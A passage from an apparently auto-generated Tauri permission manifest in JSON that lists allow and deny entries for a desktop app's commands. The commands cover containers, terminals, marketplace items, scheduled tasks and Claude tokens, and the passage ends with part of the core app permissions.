scope.","commands":{"allow":["stop_project_container"],"deny":[]}},"allow-stop-stt":{"identifier":"allow-stop-stt","description":"Enables the stop_stt command without any pre-configured scope.","commands":{"allow":["stop_stt"],"deny":[]}},"allow-stop-web-terminal":{"identifier":"allow-stop-web-terminal","description":"Enables the stop_web_terminal command without any pre-configured scope.","commands":{"allow":["stop_web_terminal"],"deny":[]}},"allow-submit-claude-token-code":{"identifier":"allow-submit-claude-token-code","description":"Enables the submit_claude_token_code command without any pre-configured scope.","commands":{"allow":["submit_claude_token_code"],"deny":[]}},"allow-sweep-claude-token-snapshots":{"identifier":"allow-sweep-claude-token-snapshots","description":"Enables the sweep_claude_token_snapshots command without any pre-configured scope.","commands":{"allow":["sweep_claude_token_snapshots"],"deny":[]}},"allow-terminal-input":{"identifier":"allow-terminal-input","description":"Enables the terminal_input command without any pre-configured scope.","commands":{"allow":["terminal_input"],"deny":[]}},"allow-terminal-resize":{"identifier":"allow-terminal-resize","description":"Enables the terminal_resize command without any pre-configured scope.","commands":{"allow":["terminal_resize"],"deny":[]}},"allow-test-marketplace-account":{"identifier":"allow-test-marketplace-account","description":"Enables the test_marketplace_account command without any pre-configured scope.","commands":{"allow":["test_marketplace_account"],"deny":[]}},"allow-transcribe-audio":{"identifier":"allow-transcribe-audio","description":"Enables the transcribe_audio command without any pre-configured scope.","commands":{"allow":["transcribe_audio"],"deny":[]}},"allow-uninstall-marketplace-item":{"identifier":"allow-uninstall-marketplace-item","description":"Enables the uninstall_marketplace_item command without any pre-configured scope.","commands":{"allow":["uninstall_marketplace_item"],"deny":[]}},"allow-update-marketplace":{"identifier":"allow-update-marketplace","description":"Enables the update_marketplace command without any pre-configured scope.","commands":{"allow":["update_marketplace"],"deny":[]}},"allow-update-marketplace-item":{"identifier":"allow-update-marketplace-item","description":"Enables the update_marketplace_item command without any pre-configured scope.","commands":{"allow":["update_marketplace_item"],"deny":[]}},"allow-update-project":{"identifier":"allow-update-project","description":"Enables the update_project command without any pre-configured scope.","commands":{"allow":["update_project"],"deny":[]}},"allow-update-scheduled-task":{"identifier":"allow-update-scheduled-task","description":"Enables the update_scheduled_task command without any pre-configured scope.","commands":{"allow":["update_scheduled_task"],"deny":[]}},"allow-update-settings":{"identifier":"allow-update-settings","description":"Enables the update_settings command without any pre-configured scope.","commands":{"allow":["update_settings"],"deny":[]}},"allow-upload-files-to-container":{"identifier":"allow-upload-files-to-container","description":"Enables the upload_files_to_container command without any pre-configured scope.","commands":{"allow":["upload_files_to_container"],"deny":[]}},"allow-upload-host-file-to-terminal":{"identifier":"allow-upload-host-file-to-terminal","description":"Enables the upload_host_file_to_terminal command without any pre-configured scope.","commands":{"allow":["upload_host_file_to_terminal"],"deny":[]}},"allow-viewer-choose-file":{"identifier":"allow-viewer-choose-file","description":"Enables the viewer_choose_file command without any pre-configured scope.","commands":{"allow":["viewer_choose_file"],"deny":[]}},"allow-viewer-get-state":{"identifier":"allow-viewer-get-state","description":"Enables the viewer_get_state command without any pre-configured scope.","commands":{"allow":["viewer_get_state"],"deny":[]}},"allow-viewer-poll-file":{"identifier":"allow-viewer-poll-file","description":"Enables the viewer_poll_file command without any pre-configured scope.","commands":{"allow":["viewer_poll_file"],"deny":[]}},"allow-viewer-read-file":{"identifier":"allow-viewer-read-file","description":"Enables the viewer_read_file command without any pre-configured scope.","commands":{"allow":["viewer_read_file"],"deny":[]}},"allow-viewer-write-file":{"identifier":"allow-viewer-write-file","description":"Enables the viewer_write_file command without any pre-configured scope.","commands":{"allow":["viewer_write_file"],"deny":[]}},"deny-acquire-claude-token":{"identifier":"deny-acquire-claude-token","description":"Denies the acquire_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["acquire_claude_token"]}},"deny-add-marketplace":{"identifier":"deny-add-marketplace","description":"Denies the add_marketplace command without any pre-configured scope.","commands":{"allow":[],"deny":["add_marketplace"]}},"deny-add-marketplace-gh-host-account":{"identifier":"deny-add-marketplace-gh-host-account","description":"Denies the add_marketplace_gh_host_account command without any pre-configured scope.","commands":{"allow":[],"deny":["add_marketplace_gh_host_account"]}},"deny-add-marketplace-token-account":{"identifier":"deny-add-marketplace-token-account","description":"Denies the add_marketplace_token_account command without any pre-configured scope.","commands":{"allow":[],"deny":["add_marketplace_token_account"]}},"deny-add-project":{"identifier":"deny-add-project","description":"Denies the add_project command without any pre-configured scope.","commands":{"allow":[],"deny":["add_project"]}},"deny-add-scheduled-task":{"identifier":"deny-add-scheduled-task","description":"Denies the add_scheduled_task command without any pre-configured scope.","commands":{"allow":[],"deny":["add_scheduled_task"]}},"deny-apply-marketplace-now":{"identifier":"deny-apply-marketplace-now","description":"Denies the apply_marketplace_now command without any pre-configured scope.","commands":{"allow":[],"deny":["apply_marketplace_now"]}},"deny-apply-settings-import":{"identifier":"deny-apply-settings-import","description":"Denies the apply_settings_import command without any pre-configured scope.","commands":{"allow":[],"deny":["apply_settings_import"]}},"deny-aws-sso-refresh":{"identifier":"deny-aws-sso-refresh","description":"Denies the aws_sso_refresh command without any pre-configured scope.","commands":{"allow":[],"deny":["aws_sso_refresh"]}},"deny-build-gateway-image":{"identifier":"deny-build-gateway-image","description":"Denies the build_gateway_image command without any pre-configured scope.","commands":{"allow":[],"deny":["build_gateway_image"]}},"deny-build-image":{"identifier":"deny-build-image","description":"Denies the build_image command without any pre-configured scope.","commands":{"allow":[],"deny":["build_image"]}},"deny-build-stt-image":{"identifier":"deny-build-stt-image","description":"Denies the build_stt_image command without any pre-configured scope.","commands":{"allow":[],"deny":["build_stt_image"]}},"deny-cancel-claude-token":{"identifier":"deny-cancel-claude-token","description":"Denies the cancel_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["cancel_claude_token"]}},"deny-cancel-marketplace-gh-login":{"identifier":"deny-cancel-marketplace-gh-login","description":"Denies the cancel_marketplace_gh_login command without any pre-configured scope.","commands":{"allow":[],"deny":["cancel_marketplace_gh_login"]}},"deny-check-browser-view-support":{"identifier":"deny-check-browser-view-support","description":"Denies the check_browser_view_support command without any pre-configured scope.","commands":{"allow":[],"deny":["check_browser_view_support"]}},"deny-check-docker":{"identifier":"deny-check-docker","description":"Denies the check_docker command without any pre-configured scope.","commands":{"allow":[],"deny":["check_docker"]}},"deny-check-for-updates":{"identifier":"deny-check-for-updates","description":"Denies the check_for_updates command without any pre-configured scope.","commands":{"allow":[],"deny":["check_for_updates"]}},"deny-check-gateway-health":{"identifier":"deny-check-gateway-health","description":"Denies the check_gateway_health command without any pre-configured scope.","commands":{"allow":[],"deny":["check_gateway_health"]}},"deny-check-image-exists":{"identifier":"deny-check-image-exists","description":"Denies the check_image_exists command without any pre-configured scope.","commands":{"allow":[],"deny":["check_image_exists"]}},"deny-check-image-update":{"identifier":"deny-check-image-update","description":"Denies the check_image_update command without any pre-configured scope.","commands":{"allow":[],"deny":["check_image_update"]}},"deny-clear-claude-token":{"identifier":"deny-clear-claude-token","description":"Denies the clear_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_claude_token"]}},"deny-clear-gateway-api-key":{"identifier":"deny-clear-gateway-api-key","description":"Denies the clear_gateway_api_key command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_gateway_api_key"]}},"deny-clear-scheduler-notifications":{"identifier":"deny-clear-scheduler-notifications","description":"Denies the clear_scheduler_notifications command without any pre-configured scope.","commands":{"allow":[],"deny":["clear_scheduler_notifications"]}},"deny-close-browser-view-popout":{"identifier":"deny-close-browser-view-popout","description":"Denies the close_browser_view_popout command without any pre-configured scope.","commands":{"allow":[],"deny":["close_browser_view_popout"]}},"deny-close-container-page":{"identifier":"deny-close-container-page","description":"Denies the close_container_page command without any pre-configured scope.","commands":{"allow":[],"deny":["close_container_page"]}},"deny-close-terminal-session":{"identifier":"deny-close-terminal-session","description":"Denies the close_terminal_session command without any pre-configured scope.","commands":{"allow":[],"deny":["close_terminal_session"]}},"deny-confirm-migration":{"identifier":"deny-confirm-migration","description":"Denies the confirm_migration command without any pre-configured scope.","commands":{"allow":[],"deny":["confirm_migration"]}},"deny-create-container-directory":{"identifier":"deny-create-container-directory","description":"Denies the create_container_directory command without any pre-configured scope.","commands":{"allow":[],"deny":["create_container_directory"]}},"deny-delete-note":{"identifier":"deny-delete-note","description":"Denies the delete_note command without any pre-configured scope.","commands":{"allow":[],"deny":["delete_note"]}},"deny-detect-aws-config":{"identifier":"deny-detect-aws-config","description":"Denies the detect_aws_config command without any pre-configured scope.","commands":{"allow":[],"deny":["detect_aws_config"]}},"deny-detect-host-timezone":{"identifier":"deny-detect-host-timezone","description":"Denies the detect_host_timezone command without any pre-configured scope.","commands":{"allow":[],"deny":["detect_host_timezone"]}},"deny-detect-install-options":{"identifier":"deny-detect-install-options","description":"Denies the detect_install_options command without any pre-configured scope.","commands":{"allow":[],"deny":["detect_install_options"]}},"deny-download-container-backup":{"identifier":"deny-download-container-backup","description":"Denies the download_container_backup command without any pre-configured scope.","commands":{"allow":[],"deny":["download_container_backup"]}},"deny-download-container-file":{"identifier":"deny-download-container-file","description":"Denies the download_container_file command without any pre-configured scope.","commands":{"allow":[],"deny":["download_container_file"]}},"deny-export-settings":{"identifier":"deny-export-settings","description":"Denies the export_settings command without any pre-configured scope.","commands":{"allow":[],"deny":["export_settings"]}},"deny-forget-marketplace-installs":{"identifier":"deny-forget-marketplace-installs","description":"Denies the forget_marketplace_installs command without any pre-configured scope.","commands":{"allow":[],"deny":["forget_marketplace_installs"]}},"deny-get-app-version":{"identifier":"deny-get-app-version","description":"Denies the get_app_version command without any pre-configured scope.","commands":{"allow":[],"deny":["get_app_version"]}},"deny-get-auth-bridge-status":{"identifier":"deny-get-auth-bridge-status","description":"Denies the get_auth_bridge_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_auth_bridge_status"]}},"deny-get-browser-view-match-window":{"identifier":"deny-get-browser-view-match-window","description":"Denies the get_browser_view_match_window command without any pre-configured scope.","commands":{"allow":[],"deny":["get_browser_view_match_window"]}},"deny-get-browser-view-popout-state":{"identifier":"deny-get-browser-view-popout-state","description":"Denies the get_browser_view_popout_state command without any pre-configured scope.","commands":{"allow":[],"deny":["get_browser_view_popout_state"]}},"deny-get-browser-view-status":{"identifier":"deny-get-browser-view-status","description":"Denies the get_browser_view_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_browser_view_status"]}},"deny-get-container-info":{"identifier":"deny-get-container-info","description":"Denies the get_container_info command without any pre-configured scope.","commands":{"allow":[],"deny":["get_container_info"]}},"deny-get-container-page-state":{"identifier":"deny-get-container-page-state","description":"Denies the get_container_page_state command without any pre-configured scope.","commands":{"allow":[],"deny":["get_container_page_state"]}},"deny-get-container-staleness":{"identifier":"deny-get-container-staleness","description":"Denies the get_container_staleness command without any pre-configured scope.","commands":{"allow":[],"deny":["get_container_staleness"]}},"deny-get-gateway-auth-token":{"identifier":"deny-get-gateway-auth-token","description":"Denies the get_gateway_auth_token command without any pre-configured scope.","commands":{"allow":[],"deny":["get_gateway_auth_token"]}},"deny-get-gateway-status":{"identifier":"deny-get-gateway-status","description":"Denies the get_gateway_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_gateway_status"]}},"deny-get-help-content":{"identifier":"deny-get-help-content","description":"Denies the get_help_content command without any pre-configured scope.","commands":{"allow":[],"deny":["get_help_content"]}},"deny-get-marketplace-sync-report":{"identifier":"deny-get-marketplace-sync-report","description":"Denies the get_marketplace_sync_report command without any pre-configured scope.","commands":{"allow":[],"deny":["get_marketplace_sync_report"]}},"deny-get-migration-state":{"identifier":"deny-get-migration-state","description":"Denies the get_migration_state command without any pre-configured scope.","commands":{"allow":[],"deny":["get_migration_state"]}},"deny-get-scheduled-task-log":{"identifier":"deny-get-scheduled-task-log","description":"Denies the get_scheduled_task_log command without any pre-configured scope.","commands":{"allow":[],"deny":["get_scheduled_task_log"]}},"deny-get-scheduler-notifications":{"identifier":"deny-get-scheduler-notifications","description":"Denies the get_scheduler_notifications command without any pre-configured scope.","commands":{"allow":[],"deny":["get_scheduler_notifications"]}},"deny-get-settings":{"identifier":"deny-get-settings","description":"Denies the get_settings command without any pre-configured scope.","commands":{"allow":[],"deny":["get_settings"]}},"deny-get-stt-status":{"identifier":"deny-get-stt-status","description":"Denies the get_stt_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_stt_status"]}},"deny-get-web-terminal-status":{"identifier":"deny-get-web-terminal-status","description":"Denies the get_web_terminal_status command without any pre-configured scope.","commands":{"allow":[],"deny":["get_web_terminal_status"]}},"deny-has-claude-token":{"identifier":"deny-has-claude-token","description":"Denies the has_claude_token command without any pre-configured scope.","commands":{"allow":[],"deny":["has_claude_token"]}},"deny-inspect-ca-cert-path":{"identifier":"deny-inspect-ca-cert-path","description":"Denies the inspect_ca_cert_path command without any pre-configured scope.","commands":{"allow":[],"deny":["inspect_ca_cert_path"]}},"deny-install-browser-view-browser":{"identifier":"deny-install-browser-view-browser","description":"Denies the install_browser_view_browser command without any pre-configured scope.","commands":{"allow":[],"deny":["install_browser_view_browser"]}},"deny-install-browser-view-support":{"identifier":"deny-install-browser-view-support","description":"Denies the install_browser_view_support command without any pre-configured scope.","commands":{"allow":[],"deny":["install_browser_view_support"]}},"deny-install-marketplace-item":{"identifier":"deny-install-marketplace-item","description":"Denies the install_marketplace_item command without any pre-configured scope.","commands":{"allow":[],"deny":["install_marketplace_item"]}},"deny-list-aws-profiles":{"identifier":"deny-list-aws-profiles","description":"Denies the list_aws_profiles command without any pre-configured scope.","commands":{"allow":[],"deny":["list_aws_profiles"]}},"deny-list-claude-sessions":{"identifier":"deny-list-claude-sessions","description":"Denies the list_claude_sessions command without any pre-configured scope.","commands":{"allow":[],"deny":["list_claude_sessions"]}},"deny-list-container-capabilities":{"identifier":"deny-list-container-capabilities","description":"Denies the list_container_capabilities command without any pre-configured scope.","commands":{"allow":[],"deny":["list_container_capabilities"]}},"deny-list-container-files":{"identifier":"deny-list-container-files","description":"Denies the list_container_files command without any pre-configured scope.","commands":{"allow":[],"deny":["list_container_files"]}},"deny-list-marketplace-snapshots":{"identifier":"deny-list-marketplace-snapshots","description":"Denies the list_marketplace_snapshots command without any pre-configured scope.","commands":{"allow":[],"deny":["list_marketplace_snapshots"]}},"deny-list-marketplace-updates":{"identifier":"deny-list-marketplace-updates","description":"Denies the list_marketplace_updates command without any pre-configured scope.","commands":{"allow":[],"deny":["list_marketplace_updates"]}},"deny-list-notes":{"identifier":"deny-list-notes","description":"Denies the list_notes command without any pre-configured scope.","commands":{"allow":[],"deny":["list_notes"]}},"deny-list-projects":{"identifier":"deny-list-projects","description":"Denies the list_projects command without any pre-configured scope.","commands":{"allow":[],"deny":["list_projects"]}},"deny-list-scheduled-tasks":{"identifier":"deny-list-scheduled-tasks","description":"Denies the list_scheduled_tasks command without any pre-configured scope.","commands":{"allow":[],"deny":["list_scheduled_tasks"]}},"deny-marketplace-gh-host-available":{"identifier":"deny-marketplace-gh-host-available","description":"Denies the marketplace_gh_host_available command without any pre-configured scope.","commands":{"allow":[],"deny":["marketplace_gh_host_available"]}},"deny-marketplace-item-diff":{"identifier":"deny-marketplace-item-diff","description":"Denies the marketplace_item_diff command without any pre-configured scope.","commands":{"allow":[],"deny":["marketplace_item_diff"]}},"deny-migrate-project-to-base":{"identifier":"deny-migrate-project-to-base","description":"Denies the migrate_project_to_base command without any pre-configured scope.","commands":{"allow":[],"deny":["migrate_project_to_base"]}},"deny-open-browser-view-popout":{"identifier":"deny-open-browser-view-popout","description":"Denies the open_browser_view_popout command without any pre-configured scope.","commands":{"allow":[],"deny":["open_browser_view_popout"]}},"deny-open-file-viewer":{"identifier":"deny-open-file-viewer","description":"Denies the open_file_viewer command without any pre-configured scope.","commands":{"allow":[],"deny":["open_file_viewer"]}},"deny-open-page-in-container-browser":{"identifier":"deny-open-page-in-container-browser","description":"Denies the open_page_in_container_browser command without any pre-configured scope.","commands":{"allow":[],"deny":["open_page_in_container_browser"]}},"deny-open-terminal-session":{"identifier":"deny-open-terminal-session","description":"Denies the open_terminal_session command without any pre-configured scope.","commands":{"allow":[],"deny":["open_terminal_session"]}},"deny-open-url-external":{"identifier":"deny-open-url-external","description":"Denies the open_url_external command without any pre-configured scope.","commands":{"allow":[],"deny":["open_url_external"]}},"deny-paste-image-to-terminal":{"identifier":"deny-paste-image-to-terminal","description":"Denies the paste_image_to_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["paste_image_to_terminal"]}},"deny-preview-settings-import":{"identifier":"deny-preview-settings-import","description":"Denies the preview_settings_import command without any pre-configured scope.","commands":{"allow":[],"deny":["preview_settings_import"]}},"deny-pull-gateway-image":{"identifier":"deny-pull-gateway-image","description":"Denies the pull_gateway_image command without any pre-configured scope.","commands":{"allow":[],"deny":["pull_gateway_image"]}},"deny-pull-image":{"identifier":"deny-pull-image","description":"Denies the pull_image command without any pre-configured scope.","commands":{"allow":[],"deny":["pull_image"]}},"deny-pull-stt-image":{"identifier":"deny-pull-stt-image","description":"Denies the pull_stt_image command without any pre-configured scope.","commands":{"allow":[],"deny":["pull_stt_image"]}},"deny-read-container-file":{"identifier":"deny-read-container-file","description":"Denies the read_container_file command without any pre-configured scope.","commands":{"allow":[],"deny":["read_container_file"]}},"deny-rebuild-project-container":{"identifier":"deny-rebuild-project-container","description":"Denies the rebuild_project_container command without any pre-configured scope.","commands":{"allow":[],"deny":["rebuild_project_container"]}},"deny-reconcile-project-statuses":{"identifier":"deny-reconcile-project-statuses","description":"Denies the reconcile_project_statuses command without any pre-configured scope.","commands":{"allow":[],"deny":["reconcile_project_statuses"]}},"deny-refresh-marketplaces":{"identifier":"deny-refresh-marketplaces","description":"Denies the refresh_marketplaces command without any pre-configured scope.","commands":{"allow":[],"deny":["refresh_marketplaces"]}},"deny-regenerate-gateway-auth-token":{"identifier":"deny-regenerate-gateway-auth-token","description":"Denies the regenerate_gateway_auth_token command without any pre-configured scope.","commands":{"allow":[],"deny":["regenerate_gateway_auth_token"]}},"deny-regenerate-web-terminal-token":{"identifier":"deny-regenerate-web-terminal-token","description":"Denies the regenerate_web_terminal_token command without any pre-configured scope.","commands":{"allow":[],"deny":["regenerate_web_terminal_token"]}},"deny-remove-marketplace":{"identifier":"deny-remove-marketplace","description":"Denies the remove_marketplace command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_marketplace"]}},"deny-remove-marketplace-account":{"identifier":"deny-remove-marketplace-account","description":"Denies the remove_marketplace_account command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_marketplace_account"]}},"deny-remove-project":{"identifier":"deny-remove-project","description":"Denies the remove_project command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_project"]}},"deny-remove-scheduled-task":{"identifier":"deny-remove-scheduled-task","description":"Denies the remove_scheduled_task command without any pre-configured scope.","commands":{"allow":[],"deny":["remove_scheduled_task"]}},"deny-rename-container-path":{"identifier":"deny-rename-container-path","description":"Denies the rename_container_path command without any pre-configured scope.","commands":{"allow":[],"deny":["rename_container_path"]}},"deny-resume-session-command":{"identifier":"deny-resume-session-command","description":"Denies the resume_session_command command without any pre-configured scope.","commands":{"allow":[],"deny":["resume_session_command"]}},"deny-rollback-migration":{"identifier":"deny-rollback-migration","description":"Denies the rollback_migration command without any pre-configured scope.","commands":{"allow":[],"deny":["rollback_migration"]}},"deny-run-docker-install":{"identifier":"deny-run-docker-install","description":"Denies the run_docker_install command without any pre-configured scope.","commands":{"allow":[],"deny":["run_docker_install"]}},"deny-run-scheduled-task-now":{"identifier":"deny-run-scheduled-task-now","description":"Denies the run_scheduled_task_now command without any pre-configured scope.","commands":{"allow":[],"deny":["run_scheduled_task_now"]}},"deny-save-note":{"identifier":"deny-save-note","description":"Denies the save_note command without any pre-configured scope.","commands":{"allow":[],"deny":["save_note"]}},"deny-send-audio-data":{"identifier":"deny-send-audio-data","description":"Denies the send_audio_data command without any pre-configured scope.","commands":{"allow":[],"deny":["send_audio_data"]}},"deny-set-auth-bridge-enabled":{"identifier":"deny-set-auth-bridge-enabled","description":"Denies the set_auth_bridge_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_auth_bridge_enabled"]}},"deny-set-browser-view-enabled":{"identifier":"deny-set-browser-view-enabled","description":"Denies the set_browser_view_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_browser_view_enabled"]}},"deny-set-browser-view-match-window":{"identifier":"deny-set-browser-view-match-window","description":"Denies the set_browser_view_match_window command without any pre-configured scope.","commands":{"allow":[],"deny":["set_browser_view_match_window"]}},"deny-set-browser-view-popout-always-on-top":{"identifier":"deny-set-browser-view-popout-always-on-top","description":"Denies the set_browser_view_popout_always_on_top command without any pre-configured scope.","commands":{"allow":[],"deny":["set_browser_view_popout_always_on_top"]}},"deny-set-container-page-viewport":{"identifier":"deny-set-container-page-viewport","description":"Denies the set_container_page_viewport command without any pre-configured scope.","commands":{"allow":[],"deny":["set_container_page_viewport"]}},"deny-set-gateway-api-key":{"identifier":"deny-set-gateway-api-key","description":"Denies the set_gateway_api_key command without any pre-configured scope.","commands":{"allow":[],"deny":["set_gateway_api_key"]}},"deny-set-global-item-disabled":{"identifier":"deny-set-global-item-disabled","description":"Denies the set_global_item_disabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_global_item_disabled"]}},"deny-set-scheduled-task-enabled":{"identifier":"deny-set-scheduled-task-enabled","description":"Denies the set_scheduled_task_enabled command without any pre-configured scope.","commands":{"allow":[],"deny":["set_scheduled_task_enabled"]}},"deny-start-audio-bridge":{"identifier":"deny-start-audio-bridge","description":"Denies the start_audio_bridge command without any pre-configured scope.","commands":{"allow":[],"deny":["start_audio_bridge"]}},"deny-start-gateway":{"identifier":"deny-start-gateway","description":"Denies the start_gateway command without any pre-configured scope.","commands":{"allow":[],"deny":["start_gateway"]}},"deny-start-marketplace-gh-container-login":{"identifier":"deny-start-marketplace-gh-container-login","description":"Denies the start_marketplace_gh_container_login command without any pre-configured scope.","commands":{"allow":[],"deny":["start_marketplace_gh_container_login"]}},"deny-start-project-container":{"identifier":"deny-start-project-container","description":"Denies the start_project_container command without any pre-configured scope.","commands":{"allow":[],"deny":["start_project_container"]}},"deny-start-stt":{"identifier":"deny-start-stt","description":"Denies the start_stt command without any pre-configured scope.","commands":{"allow":[],"deny":["start_stt"]}},"deny-start-web-terminal":{"identifier":"deny-start-web-terminal","description":"Denies the start_web_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["start_web_terminal"]}},"deny-stop-audio-bridge":{"identifier":"deny-stop-audio-bridge","description":"Denies the stop_audio_bridge command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_audio_bridge"]}},"deny-stop-gateway":{"identifier":"deny-stop-gateway","description":"Denies the stop_gateway command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_gateway"]}},"deny-stop-project-container":{"identifier":"deny-stop-project-container","description":"Denies the stop_project_container command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_project_container"]}},"deny-stop-stt":{"identifier":"deny-stop-stt","description":"Denies the stop_stt command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_stt"]}},"deny-stop-web-terminal":{"identifier":"deny-stop-web-terminal","description":"Denies the stop_web_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["stop_web_terminal"]}},"deny-submit-claude-token-code":{"identifier":"deny-submit-claude-token-code","description":"Denies the submit_claude_token_code command without any pre-configured scope.","commands":{"allow":[],"deny":["submit_claude_token_code"]}},"deny-sweep-claude-token-snapshots":{"identifier":"deny-sweep-claude-token-snapshots","description":"Denies the sweep_claude_token_snapshots command without any pre-configured scope.","commands":{"allow":[],"deny":["sweep_claude_token_snapshots"]}},"deny-terminal-input":{"identifier":"deny-terminal-input","description":"Denies the terminal_input command without any pre-configured scope.","commands":{"allow":[],"deny":["terminal_input"]}},"deny-terminal-resize":{"identifier":"deny-terminal-resize","description":"Denies the terminal_resize command without any pre-configured scope.","commands":{"allow":[],"deny":["terminal_resize"]}},"deny-test-marketplace-account":{"identifier":"deny-test-marketplace-account","description":"Denies the test_marketplace_account command without any pre-configured scope.","commands":{"allow":[],"deny":["test_marketplace_account"]}},"deny-transcribe-audio":{"identifier":"deny-transcribe-audio","description":"Denies the transcribe_audio command without any pre-configured scope.","commands":{"allow":[],"deny":["transcribe_audio"]}},"deny-uninstall-marketplace-item":{"identifier":"deny-uninstall-marketplace-item","description":"Denies the uninstall_marketplace_item command without any pre-configured scope.","commands":{"allow":[],"deny":["uninstall_marketplace_item"]}},"deny-update-marketplace":{"identifier":"deny-update-marketplace","description":"Denies the update_marketplace command without any pre-configured scope.","commands":{"allow":[],"deny":["update_marketplace"]}},"deny-update-marketplace-item":{"identifier":"deny-update-marketplace-item","description":"Denies the update_marketplace_item command without any pre-configured scope.","commands":{"allow":[],"deny":["update_marketplace_item"]}},"deny-update-project":{"identifier":"deny-update-project","description":"Denies the update_project command without any pre-configured scope.","commands":{"allow":[],"deny":["update_project"]}},"deny-update-scheduled-task":{"identifier":"deny-update-scheduled-task","description":"Denies the update_scheduled_task command without any pre-configured scope.","commands":{"allow":[],"deny":["update_scheduled_task"]}},"deny-update-settings":{"identifier":"deny-update-settings","description":"Denies the update_settings command without any pre-configured scope.","commands":{"allow":[],"deny":["update_settings"]}},"deny-upload-files-to-container":{"identifier":"deny-upload-files-to-container","description":"Denies the upload_files_to_container command without any pre-configured scope.","commands":{"allow":[],"deny":["upload_files_to_container"]}},"deny-upload-host-file-to-terminal":{"identifier":"deny-upload-host-file-to-terminal","description":"Denies the upload_host_file_to_terminal command without any pre-configured scope.","commands":{"allow":[],"deny":["upload_host_file_to_terminal"]}},"deny-viewer-choose-file":{"identifier":"deny-viewer-choose-file","description":"Denies the viewer_choose_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_choose_file"]}},"deny-viewer-get-state":{"identifier":"deny-viewer-get-state","description":"Denies the viewer_get_state command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_get_state"]}},"deny-viewer-poll-file":{"identifier":"deny-viewer-poll-file","description":"Denies the viewer_poll_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_poll_file"]}},"deny-viewer-read-file":{"identifier":"deny-viewer-read-file","description":"Denies the viewer_read_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_read_file"]}},"deny-viewer-write-file":{"identifier":"deny-viewer-write-file","description":"Denies the viewer_write_file command without any pre-configured scope.","commands":{"allow":[],"deny":["viewer_write_file"]}}},"permission_sets":{},"global_scope_schema":null},"core":{"default_permission":{"identifier":"default","description":"Default core plugins set.","permissions":["core:path:default","core:event:default","core:window:default","core:webview:default","core:app:default","core:image:default","core:resources:default","core:menu:default","core:tray:default"]},"permissions":{},"permission_sets":{},"global_scope_schema":null},"core:app":{"default_permission":{"identifier":"default","description":"Default permissions for the plugin.","permissions":["allow-version","allow-name","allow-tauri-version","allow-identifier","allow-bundle-type","allow-register-listener","allow-remove-listener","allow-supports-multiple-windows"]},"permissions":{"allow-app-hide":{"identifier":"allow-app-hide","description":"Enables the app_hide command without any pre-configured scope.","commands":{"allow":["app_hide"],"deny":[]}},"allow-app-show":{"identifier":"allow-app-show","description":"Enables the app_show command without any pre-configured scope.","commands":{"allow":["app_show"],"deny":[]}},"allow-bundle-type":{"identifier":"allow-bundle-type","description":"Enables the bundle_type command without any pre-configured scope.","commands":{"allow":["bundle_type"],"deny":[]}},"allow-default-window-icon":{"identifier":"allow-default-window-icon","description":"Enables the default_window_icon command without any pre-configured scope.","commands":{"allow":["default_window_icon"],"deny":[]}},"allow-fetch-data-store-identifiers":{"identifier":"allow-fetch-data-store-identifiers","description":"Enables the fetch_data_store_identifiers command without any pre-configured scope.","commands":{"allow":["fetch_data_store_identifiers"],"deny":[]}},"allow-identifier":{"identifier":"allow-identifier","description":"Enables the identifier command without any pre-configured scope.","commands":{"allow":["identifier"],"deny":[]}},"allow-name":{"identifier":"allow-name","description":"Enables the name command without any pre-configured scope.","commands":{"allow":["name"],"deny":[]}},"allow-register-listener":{"identifier":"allow-register-listener","description":"Enables the register_listener command without any pre-configured scope.","commands":{"allow":["register_listener"],"deny":[]}},"allow-remove-data-store":{"identifier":"allow-remove-data-store","description":"Enables the remove_data_store command without any pre-configured scope.","commands":{"allow":["remove_data_store"],"deny":[]}},"allow-remove-listener":{"identifier":"allow-remove-listener","description":"Enables the remove_listener command without any pre-configured scope.","commands":{"allow":["remove_listener"],"deny":[]}},"allow-set-app-theme":{"identifier":"allow-set-app-theme","description":"Enables the set_app_theme command without any pre-configured scope.","commands":{"allow":["set_app_theme"],"deny":[]}},"allow-set-dock-visibility":{"identifier":"allow-set-dock-visibility","description":"Enables the set_dock_visibility command without any pre-configured scope.","commands":{"allow":["set_dock_visibility"],"deny":[]}},"allow-supports-multiple-windows":{"identifier":"allow-supports-multiple-windows","description":"Enables the supports_multiple_windows command without any pre-configured scope.","commands":{"allow":["supports_multiple_windows"],"deny":[]}},"allow-tauri-version":{"identifier":"allow-tauri-version","description":"Enables the tauri_version command without any pre-configured scope.","commands":{"allow":["tauri_version"],"deny":[]}},"allow-version":{"identifier":"allow-version","description":"Enables the version command without any pre-configured scope.","commands":{"allow":["version"],"deny":[]}},"deny-app-hide":{"identifier":"deny-app-hide","description":"Denies the app_hide command without any pre-configured scope.","commands":{"allow":[],"deny":["app_hide"]}},"deny-app-show":{"identifier":"deny-app-show","description":"Denies the app_show command without any pre-configured scope.","commands":{"allow":[],"deny":["app_show"]}},"deny-bundle-type":{"identifier":"deny-bundle-type","description":"Denies the bundle_type command without any pre-configured scope.","commands":{"allow":[],"deny":["bundle_type"]}},"deny-default-window-icon":{"identifier":"deny-default-window-icon","description":"Denies the default_window_icon command without any pre-configured 